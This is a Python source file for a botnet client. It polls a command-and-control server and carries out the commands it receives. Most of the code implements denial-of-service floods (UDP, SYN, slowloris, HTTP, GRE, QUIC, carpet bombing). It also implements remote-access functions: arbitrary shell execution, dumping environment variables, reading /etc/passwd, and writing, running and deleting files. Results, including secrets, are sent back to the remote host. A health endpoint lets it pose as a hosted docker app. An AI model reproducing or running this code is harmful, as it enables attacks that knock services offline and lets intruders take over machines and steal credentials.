import requests, time, uuid, os, platform, socket, threading, json, random, shutil, signal, sys, subprocess, multiprocessing
SERVER_URL = "https://ais-dev-jvjihup7o2jfww3phe6caw-212988073263.us-west2.run.app"
NODE_ID = str(uuid.uuid4())[:8]

def exec_fetch_http_test(ip, port):
    try:
        url = f"http://{ip}:{port}/"
        t0 = time.time()
        res = requests.get(url, timeout=3)
        return {"status": f"HTTP_{res.status_code}", "latency_ms": round((time.time()-t0)*1000, 2)}
    except Exception as e:
        return {"status": "error", "detail": str(e)}

def exec_socket_tcp_probe(ip, port):
    try:
        t0 = time.time()
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(2)
            s.connect((ip, int(port)))
        return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}
    except Exception as e:
        return {"status": "tcp_failed", "detail": str(e)}

def exec_udp_flood(ip, port, duration, packet_size):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        bytes_to_send = os.urandom(int(packet_size))
        t_end = time.time() + float(duration)
        sent = 0
        while time.time() < t_end:
            s.sendto(bytes_to_send, (ip, int(port)))
            sent += 1
        return {"status": "udp_flood_finished", "packets_sent": sent}
    except Exception as e:
        return {"status": "udp_flood_failed", "detail": str(e)}

def exec_tcp_connect_flood(ip, port, duration, threads_count):
    stats = {"sent": 0, "errors": 0}
    t_end = time.time() + float(duration)
    
    def flood_worker():
        while time.time() < t_end:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(1)
                s.connect((ip, int(port)))
                s.close()
                stats["sent"] += 1
            except:
                stats["errors"] += 1

    threads = []
    for _ in range(int(threads_count)):
        t = threading.Thread(target=flood_worker)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    return {"status": "tcp_connect_flood_finished", "stats": stats}

def exec_http_get_flood(url, duration, threads_count):
    stats = {"sent": 0, "errors": 0}
    t_end = time.time() + float(duration)
    
    def flood_worker():
        while time.time() < t_end:
            try:
                requests.get(url, timeout=2)
                stats["sent"] += 1
            except:
                stats["errors"] += 1

    threads = []
    for _ in range(int(threads_count)):
        t = threading.Thread(target=flood_worker)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    return {"status": "http_get_flood_finished", "stats": stats}

def exec_http_post_flood(url, duration, threads_count):
    stats = {"sent": 0, "errors": 0}
    t_end = time.time() + float(duration)
    
    def flood_worker():
        while time.time() < t_end:
            try:
                requests.post(url, data=os.urandom(16), timeout=2)
                stats["sent"] += 1
            except:
                stats["errors"] += 1

    threads = []
    for _ in range(int(threads_count)):
        t = threading.Thread(target=flood_worker)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    return {"status": "http_post_flood_finished", "stats": stats}

def exec_slowloris(ip, port, duration, threads_count):
    stats = {"sent": 0, "errors": 0}
    t_end = time.time() + float(duration)
    
    def slowloris_worker():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((ip, int(port)))
            s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
            s.send("User-Agent: Mozilla/5.0\r\n".format(random.randint(0, 2000)).encode("utf-8"))
            s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
            stats["sent"] += 1
        except:
            stats["errors"] += 1
            return
            
        while time.time() < t_end:
            try:
                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
                time.sleep(10)
                stats["sent"] += 1
            except:
                stats["errors"] += 1
                break
        try:
            s.close()
        except:
            pass

    threads = []
    for _ in range(int(threads_count)):
        t = threading.Thread(target=slowloris_worker)
        t.start()
        threads.append(t)
        time.sleep(0.05) # Ramp up
    for t in threads:
        t.join()
    return {"status": "slowloris_finished", "stats": stats}

def exec_api_abuse_flood(url, duration, threads_count):
    stats = {"sent": 0, "errors": 0}
    t_end = time.time() + float(duration)
    
    def flood_worker():
        while time.time() < t_end:
            try:
                headers = { "Authorization": f"Bearer {random.randint(1000,9999)}", "Content-Type": "application/json" }
                payload = {"query": f"abusive_payload_{random.randint(0, 10000)}"}
                requests.post(url, headers=headers, json=payload, timeout=2)
                stats["sent"] += 1
            except:
                stats["errors"] += 1

    threads = []
    for _ in range(int(threads_count)):
        t = threading.Thread(target=flood_worker)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    return {"status": "api_abuse_flood_finished", "stats": stats}

def exec_cache_bypass_flood(url, duration, threads_count):
    stats = {"sent": 0, "errors": 0}
    t_end = time.time() + float(duration)
    
    def flood_worker():
        while time.time() < t_end:
            try:
                bypass_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())
                requests.get(bypass_url, timeout=2)
                stats["sent"] += 1
            except:
                stats["errors"] += 1

    threads = []
    for _ in range(int(threads_count)):
        t = threading.Thread(target=flood_worker)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    return {"status": "cache_bypass_flood_finished", "stats": stats}

def ping():
    poll_interval = 10
    while True:
        try:
            res = requests.post(f"{SERVER_URL}/api/nodes/ping", json={
                "id": f"node-{NODE_ID}",
                "type": "hf_docker",
                "systemInfo": {
                    "os": platform.system(),
                    "release": platform.release(),
                    "python": platform.python_version()
                }
            }, timeout=5)
            commands = res.json().get('commands', [])
            for cmd in commands:
                print(f"Executing command: {cmd}")
                cmd_type = cmd.get('type')
                payload = cmd.get('payload', {})
                result = "Success"
                
                if cmd_type == 'fetch_http_test':
                    result = exec_fetch_http_test(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
                elif cmd_type == 'socket_tcp_probe':
                    result = exec_socket_tcp_probe(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
                elif cmd_type == 'udp_flood':
                    result = exec_udp_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('packet_size', 1024))
                elif cmd_type == 'tcp_connect_flood':
                    result = exec_tcp_connect_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
                elif cmd_type == 'http_get_flood':
                    result = exec_http_get_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
                elif cmd_type == 'http_post_flood':
                    result = exec_http_post_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
                elif cmd_type == 'slowloris':
                    result = exec_slowloris(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
                elif cmd_type == 'api_abuse_flood':
                    result = exec_api_abuse_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
                elif cmd_type == 'cache_bypass_flood':
                    result = exec_cache_bypass_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
                elif cmd_type == 'syn_flood':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    def worker():
                        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
                        except: stats["errors"] += 1; return
                        while time.time() < t_end:
                            try: s.sendto(b"SYN_DUMMY_PAYLOAD", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'ack_flood':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    def worker():
                        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
                        except: stats["errors"] += 1; return
                        while time.time() < t_end:
                            try: s.sendto(b"ACK_DUMMY", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'connection_exhaustion':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    def worker():
                        sockets = []
                        while time.time() < t_end:
                            try:
                                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)
                                s.connect((payload.get('ip', '127.0.0.1'), int(payload.get('port', 80))))
                                sockets.append(s); stats["sent"] += 1
                                if len(sockets) > 500: sockets.pop(0).close()
                            except: stats["errors"] += 1
                        for s in sockets:
                            try: s.close()
                            except: pass
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'gre_flood':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    def worker():
                        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
                        except: stats["errors"] += 1; return
                        payload_data = os.urandom(int(payload.get('size', 512)))
                        while time.time() < t_end:
                            try: s.sendto(payload_data, (payload.get('ip', '127.0.0.1'), 0)); stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'http3_quic_flood':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    quic_payload = b'\xc0\x00\x00\x00\x01\x08\x01\x02\x03\x04\x05\x06\x07\x08' + os.urandom(1200)
                    def worker():
                        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                        except: return
                        while time.time() < t_end:
                            try: s.sendto(quic_payload, (payload.get('ip', '127.0.0.1'), int(payload.get('port', 443)))); stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'http2_multiplex':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    url = payload.get('url', 'http://127.0.0.1/')
                    def worker():
                        while time.time() < t_end:
                            try:
                                session = requests.Session()
                                for _ in range(20):
                                    if time.time() >= t_end: break
                                    session.get(url, timeout=2)
                                    stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'browser_emulation':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    url = payload.get('url', 'http://127.0.0.1/')
                    user_agents = [
                        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
                        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
                    ]
                    def worker():
                        session = requests.Session()
                        while time.time() < t_end:
                            try: 
                                headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}
                                session.get(url, headers=headers, timeout=5); stats["sent"] += 1
                                time.sleep(random.uniform(0.1, 0.8))
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'carpet_bombing':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    data = os.urandom(512)
                    subnet = payload.get('ip', '192.168.1.') # actually subnet input
                    port = int(payload.get('port', 80))
                    def worker():
                        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                        except: return
                        while time.time() < t_end:
                            try: s.sendto(data, (f"{subnet}{random.randint(1, 254)}", port)); stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'websocket_flood':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    url = payload.get('url', 'ws://127.0.0.1/')
                    def worker():
                        while time.time() < t_end:
                            try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1
                            except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start()
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'slow_post_flood':
                    stats = {"sent": 0, "errors": 0}
                    t_end = time.time() + float(payload.get('duration', 5))
                    ip = payload.get('ip', '127.0.0.1')
                    port = int(payload.get('port', 80))
                    def worker():
                        try:
                            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                            s.settimeout(4); s.connect((ip, port))
                            s.send(f"POST / HTTP/1.1\r\nHost: {ip}\r\nContent-Length: 100000\r\n\r\n".encode())
                            stats["sent"] += 1
                            while time.time() < t_end:
                                s.send(b"a")
                                time.sleep(10); stats["sent"] += 1
                        except: stats["errors"] += 1
                    threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
                    for t in threads: t.start(); time.sleep(0.1)
                    for t in threads: t.join()
                    result = stats
                elif cmd_type == 'dns_resolve':
                    try:
                        result = {"ip": socket.gethostbyname(payload.get('host', 'google.com'))}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'icmp_ping':
                    host = payload.get('host', 'google.com')
                    cmd_str = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
                elif cmd_type == 'traceroute':
                    host = payload.get('host', 'google.com')
                    cmd_str = f"tracert {host}" if platform.system() == "Windows" else f"traceroute {host}"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
                elif cmd_type == 'port_scan':
                    host = payload.get('host', 'google.com')
                    ports_str = payload.get('ports', '80,443')
                    ports = [int(p.strip()) for p in ports_str.split(',') if p.strip().isdigit()]
                    scan_results = {}
                    for p in ports:
                        try:
                            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                                s.settimeout(1)
                                scan_results[p] = "open" if s.connect_ex((host, p)) == 0 else "closed"
                        except:
                            scan_results[p] = "error"
                    result = {"scan": scan_results}
                elif cmd_type == 'get_public_ip':
                    try:
                        result = {"ip": requests.get('https://api.ipify.org', timeout=3).text}
                    except:
                        result = {"error": "failed"}
                elif cmd_type == 'get_system_info':
                    result = {"cpu_count": multiprocessing.cpu_count(), "machine": platform.machine(), "node": platform.node(), "system": platform.system()}
                elif cmd_type == 'list_processes':
                    cmd_str = "tasklist" if platform.system() == "Windows" else "ps aux --sort=-%mem | head -n 20"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8')}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'get_env_vars':
                    result = dict(os.environ)
                elif cmd_type == 'list_directory':
                    try:
                        result = {"files": os.listdir(payload.get('path', '.'))}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'read_file':
                    try:
                        with open(payload.get('path', '/etc/passwd'), 'r') as f:
                            result = {"content": f.read(4000)} # limit size
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'write_file':
                    try:
                        with open(payload.get('path', '/tmp/output.txt'), 'w') as f:
                            f.write(payload.get('content', ''))
                        result = {"status": "written"}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'run_file':
                    try:
                        out = subprocess.check_output(payload.get('path', './script.sh'), shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
                elif cmd_type == 'get_file_info':
                    try:
                        st = os.stat(payload.get('path', '.'))
                        result = {"info": {"size": st.st_size, "mode": st.st_mode, "mtime": st.st_mtime}}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'copy_file':
                    try:
                        shutil.copy2(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
                        result = {"status": "copied"}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'move_file':
                    try:
                        shutil.move(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
                        result = {"status": "moved"}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'delete_file':
                    try:
                        os.remove(payload.get('path', '/tmp/delete_me'))
                        result = {"status": "deleted"}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'arp_table':
                    cmd_str = "arp -a"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
                elif cmd_type == 'netstat_connections':
                    cmd_str = "netstat -an"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'ifconfig_ip':
                    cmd_str = "ipconfig" if platform.system() == "Windows" else "ifconfig || ip a"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'dns_mx_records':
                    cmd_str = f"nslookup -type=mx {payload.get('host', 'google.com')}"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'dns_txt_records':
                    cmd_str = f"nslookup -type=txt {payload.get('host', 'google.com')}"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'route_table':
                    cmd_str = "route print" if platform.system() == "Windows" else "netstat -rn || ip route"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'wifi_networks':
                    cmd_str = "netsh wlan show networks" if platform.system() == "Windows" else "nmcli dev wifi || iwlist scan"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'system_logs':
                    cmd_str = "wevtutil qe System /c:50 /f:text" if platform.system() == "Windows" else "dmesg | tail -n 50 || tail -n 50 /var/log/syslog"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'list_services':
                    cmd_str = "sc query" if platform.system() == "Windows" else "systemctl list-units --type=service || service --status-all"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'get_users':
                    cmd_str = "net user" if platform.system() == "Windows" else "cat /etc/passwd"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'get_groups':
                    cmd_str = "net localgroup" if platform.system() == "Windows" else "cat /etc/group"
                    try:
                        out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8', errors='ignore')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e)}
                elif cmd_type == 'reboot_system':
                    cmd_str = "shutdown /r /t 0" if platform.system() == "Windows" else "sudo reboot || reboot"
                    try:
                        subprocess.Popen(cmd_str, shell=True)
                        result = {"status": "reboot_initiated"}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'get_disk_space':
                    total, used, free = shutil.disk_usage("/")
                    result = {"total": total, "used": used, "free": free}
                elif cmd_type == 'kill_process':
                    try:
                        pid = int(payload.get('pid', '0'))
                        os.kill(pid, signal.SIGTERM)
                        result = {"status": f"killed {pid}"}
                    except Exception as e:
                        result = {"error": str(e)}
                elif cmd_type == 'exec_shell':
                    try:
                        out = subprocess.check_output(payload.get('cmd', 'echo hello'), shell=True, stderr=subprocess.STDOUT)
                        result = {"output": out.decode('utf-8')}
                    except subprocess.CalledProcessError as e:
                        result = {"error": str(e), "output": e.output.decode('utf-8')}
                elif cmd_type == 'change_poll_interval':
                    poll_interval = int(payload.get('interval', 10))
                    result = {"status": f"interval_updated_to_{poll_interval}"}
                elif cmd_type == 'self_terminate':
                    sys.exit(0)
                elif cmd_type == 'report_sysinfo':
                    result = {"os": platform.system(), "release": platform.release()}
                else:
                    result = {"status": "not_supported", "detail": "Command not matched by python client."}

                requests.post(f"{SERVER_URL}/api/nodes/report", json={
                    "nodeId": f"node-{NODE_ID}",
                    "commandId": cmd['id'],
                    "type": cmd_type,
                    "target": cmd.get('target'),
                    "result": result
                })
        except Exception as e:
            print(f"Ping failed: {e}")
        time.sleep(poll_interval)

if __name__ == "__main__":
    if "hf_docker" == "python_local" and (len(sys.argv) < 2 or sys.argv[1] != 'bg'):
        try:
            if platform.system() == 'Windows':
                subprocess.Popen([sys.executable, __file__, 'bg'], creationflags=0x00000008)
            else:
                subprocess.Popen(['nohup', sys.executable, __file__, 'bg'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
            print(f"Node {NODE_ID} started in background."); sys.exit(0)
        except Exception as e: print("Failed to background:", e)
    elif "hf_docker" == "hf_gradio": pass
    elif "hf_docker" == "hf_docker":
        from http.server import HTTPServer, BaseHTTPRequestHandler
        class Health(BaseHTTPRequestHandler):
            def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(b"OK")
            def log_message(self, *a): pass
        threading.Thread(target=HTTPServer(('0.0.0.0', 7860), Health).serve_forever, daemon=True).start()
        print(f"Starting docker node {NODE_ID}..."); ping()
    else:
        print(f"Starting node {NODE_ID}..."); ping()